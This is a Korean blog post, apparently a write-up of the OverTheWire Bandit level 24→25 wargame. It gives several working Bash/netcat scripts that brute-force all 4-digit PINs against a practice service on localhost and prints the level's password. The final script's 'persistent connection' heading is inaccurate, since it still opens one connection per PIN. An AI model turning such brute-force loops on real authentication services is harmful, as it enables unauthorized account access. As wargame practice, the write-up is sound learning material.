bandit 레벨 24-25 풀기 (스포일러)

발행: (2026년 2월 5일 오전 06:03 GMT+9)
7 min read
원문: Dev.to

Source: Dev.to

Source:

사후 분석 – Bandit 24 → 25

소요 시간: 3–4 시간
난이도: 7 / 10 – 로직은 간단했지만 올바른 구문을 찾는 데 애를 먹었습니다.

1️⃣ 사냥 (공격 및 전략) – 50 %

루프가 필요하다는 것은 알았지만, 어떻게 멈출지 몰랐습니다.
핵심은 서비스가 올바른 PIN을 찾았을 때 알려주는 시그널을 찾는 것이었습니다.

  1. 먼저 잘못된 비밀번호로 수동 연결을 시도했습니다.
  2. 서버는 잘못된 PIN에 대해 항상 동일한 “Wrong” 메시지를 반환했으므로 이를 센티넬로 사용할 수 있었습니다.

이 관찰을 통해 루프 로직과 명령 구문에 집중할 수 있었습니다.

스크립트

#!/usr/bin/env bash
echo "Let's get this password"
echo

HOST="localhost"
PORT=30002
PASS="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"

# First (intentionally wrong) attempt – just to initialise $output
output="$(printf "%s 0000\n" "$PASS" | nc -q 0 "$HOST" "$PORT")"

# Iterate over every 4‑digit PIN (0000 … 9999)
seq -f "%04g" 0 9999 | while read -r pin; do
    # If the server stopped saying “Wrong”, we have the right PIN
    if [[ "$output" != *"Wrong"* ]]; then
        echo "The server response is: $output"
        exit 0
    else
        i=$((i + 1))                     # iteration counter
        output="$(printf "%s %s\n" "$PASS" "$pin" | nc -q 0 "$HOST" "$PORT")"

        # Print progress every 100 attempts
        if (( i % 100 == 0 )); then
            echo "Tried $i pins. Current pin: $pin"
        fi
    fi
done

2️⃣ 설계적 사고 – 30 %

PIN 생성
처음에는 전체 시퀀스(seq -f "%04g" 0 9999)를 변수에 저장했는데, 이 변수에 모든 가능한 PIN이 들어 있었습니다. 그래서 모든 시도가 잘못되었습니다.
해결 방법은 시퀀스를 while read 루프로 파이프해 한 번에 하나의 PINpin 변수에 가져오도록 하는 것이었습니다.

3️⃣ 방어적 고찰 – 20 %

내가 이 서비스를 방어한다면 배너와 PIN 입력 프롬프트 사이에 짧은 지연을 넣을 수 있습니다.
스크립트는 연결 직후 바로 비밀번호를 보낼 수 있다고 가정하기 때문에, 지연이 있으면 전체 배너가 수신될 때까지 모든 시도가 “Wrong”으로 판단되어 무차별 대입 클라이언트의 속도가 크게 느려집니다.

교훈: 타이밍은 유용한 사이드채널 누수 수단이 될 수 있습니다.

기타 메모 및 실험

  • Bash에서 연결

    nc localhost 30002
  • 사용자에게 프롬프트 표시 (최종 스크립트에서는 필요 없음)

    read -rp "Press Enter to continue..."
  • 서버 응답 캡처

    output="$(printf "%s %s\n" "$PASS" "$pin" | timeout 2 nc "$HOST" "$PORT")"
  • 4자리 PIN 목록 생성 (내가 찾은 가장 빠른 방법)

    seq -f "%04g" 0 9999
  • 첫 번째 (실패한) 시도 – 왜 작동하지 않았는지

    Pin="$(seq -f "%04g" 0 9999)"   # **Reference:** see the file `test.sh` for a complete example.

첫 번째 전체 스크립트

#!/usr/bin/env bash

echo "Let's get this password"
echo

HOST="localhost"
PORT=30002
Passwd="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"

# Generate the PINs and test each one
seq -f "%04g" 0 9999 | while read -r pin; do
    output="$(printf "$Passwd $pin\n" | timeout 2 nc "$HOST" "$PORT")"

    if [[ "$output" == *"Wrong"* ]]; then
        i=$((i+1))                     # count attempts

        # Print every 5th attempt
        if (( i % 5 == 0 )); then
            echo "Tried $i pins. Current pin: $pin"
        fi
    else
        echo "The server response is: $output"
        exit 0
    fi
done

스크립트는 동작하지만, 매 PIN마다 새로운 TCP 연결을 열기 때문에 (nc + timeout) 시간이 너무 오래 걸립니다.

연결 오버헤드 디버깅

디버그 스크립트 #1 – 제한된 범위 (0‑9)

#!/usr/bin/env bash

echo "Let's get this password"
echo

HOST="localhost"
PORT=30002
Passwd="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"
output="$(printf "$Passwd 0000\n" | timeout 1 nc "$HOST" "$PORT")"

seq -f "%04g" 0 9 | while read -r pin; do
    if [[ "$output" == *"Wrong"* ]]; then
        i=$((i+1))

        output="$(printf "$Passwd $pin\n" | timeout 1 nc "$HOST" "$PORT")"

        if (( i % 5 == 0 )); then
            echo "Tried $i pins. Current pin: $pin"
        fi
    else
        echo "The server response is: $output"
        exit 0
    fi
done

디버그 스크립트 #2 – nc 종료 상태 확인

#!/usr/bin/env bash

echo "Let's get this password"
echo

HOST="localhost"
PORT=30002
Passwd="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"
output="$(printf "$Passwd 0000\n" | timeout 1 nc "$HOST" "$PORT")"

seq -f "%04g" 0 9 | while read -r pin; do
    if [[ "$output" == *"Wrong"* ]]; then
        i=$((i+1))

        output="$(printf "$Passwd $pin\n" | timeout 1 nc "$HOST" "$PORT")"
        rc=$?
        echo "rc=$rc"

        if (( i % 5 == 0 )); then
            echo "Tried $i pins. Current pin: $pin"
        fi
    else
        echo "The server response is: $output"
        exit 0
    fi
done

이 스니펫들은 반복적인 연결 설정(nc + timeout)이 주요 지연 원인임을 확인해 주었습니다.

최종 작동 버전 (no timeout, persistent connection)

#!/usr/bin/env bash

echo "Let's get this password"
echo

HOST="localhost"
PORT=30002
Passwd="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"

# First try a known wrong PIN to initialise $output
output="$(printf "$Passwd 0000\n" | nc -q 0 "$HOST" "$PORT")"

seq -f "%04g" 0 9999 | while read -r pin; do
    if [[ "$output" != *"Wrong"* ]]; then
        echo "The server response is: $output"
        exit 0
    else
        i=$((i+1))

        output="$(printf "$Passwd $pin\n" | nc -q 0 "$HOST" "$PORT")"

        # Print every 100th attempt (adjust as you like)
        if (( i % 100 == 0 )); then
            echo "Tried $i pins. Current pin: $pin"
        fi
    fi
done
  • nc -q 0netcat에게 EOF 후 즉시 연결을 닫도록 지시하여 추가 타임아웃 지연을 방지합니다.
  • 스크립트가 이제 훨씬 빠르게 실행되며, 매 100번 시도마다 진행 상황을 출력합니다.

개인적인 메모

코딩할 때는 흐름을 금방 잊어버리기 때문에 주석을 많이 달곤 합니다. 추가 주석이 다소 지저분해 보일 수 있지만, 저에게는 생명줄과 같습니다! 😄

여러분도 이 과정을 즐기시고 스크립트가 유용하길 바랍니다. 해킹을 즐기세요!

Back to Blog

관련 글

더 보기 »